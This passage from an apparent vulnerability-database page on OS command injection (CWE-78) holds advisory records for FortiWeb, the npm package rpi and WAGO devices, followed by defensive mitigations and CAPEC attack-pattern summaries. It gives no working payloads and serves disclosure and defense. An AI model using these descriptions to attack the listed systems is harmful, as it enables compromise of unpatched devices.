"details": "An improper neutralization of special elements used in an OS command (\u0027OS Command Injection\u0027) vulnerability [CWE-78] in Fortinet FortiWeb version 7.6.0 through 7.6.3, 7.4.0 through 7.4.7, 7.2.0 through 7.2.10 and before 7.0.10 allows an authenticated privileged attacker to execute unauthorized code or commands via crafted CLI commands",
"id": "GHSA-vcxx-p2xf-cf5w",
"modified": "2025-08-12T21:31:20Z",
"published": "2025-08-12T21:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27759"
},
{
"type": "WEB",
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-150"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VF26-7GJF-F92R
Vulnerability from github – Published: 2021-04-13 15:23 – Updated: 2021-04-08 20:03rpi through 0.0.3 allows execution of arbritary commands. The variable pinNumbver in function GPIO within src/lib/gpio.js is used as part of the arguement of exec function without any sanitization.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "rpi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10796"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-08T20:03:52Z",
"nvd_published_at": "2020-02-24T18:15:00Z",
"severity": "MODERATE"
},
"details": "rpi through 0.0.3 allows execution of arbritary commands. The variable pinNumbver in function GPIO within src/lib/gpio.js is used as part of the arguement of exec function without any sanitization.",
"id": "GHSA-vf26-7gjf-f92r",
"modified": "2021-04-08T20:03:52Z",
"published": "2021-04-13T15:23:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10796"
},
{
"type": "WEB",
"url": "https://github.com/xseignard/rpi/blob/master/src/lib/gpio.js#L47"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-RPI-548942"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OS Command Injection in rpi"
}
GHSA-VF3G-HQQF-R379
Vulnerability from github – Published: 2023-05-15 09:30 – Updated: 2024-04-04 04:04In multiple products of WAGO a vulnerability allows an unauthenticated, remote attacker to create new users and change the device configuration which can result in unintended behaviour, Denial of Service and full system compromise.
{
"affected": [],
"aliases": [
"CVE-2023-1698"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-15T09:15:09Z",
"severity": "CRITICAL"
},
"details": "In multiple products of WAGO a vulnerability allows an unauthenticated, remote attacker to create new users and change the device configuration which can result in unintended behaviour, Denial of Service and full system compromise.",
"id": "GHSA-vf3g-hqqf-r379",
"modified": "2024-04-04T04:04:56Z",
"published": "2023-05-15T09:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1698"
},
{
"type": "WEB",
"url": "https://cert.vde.com/en/advisories/VDE-2023-007"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.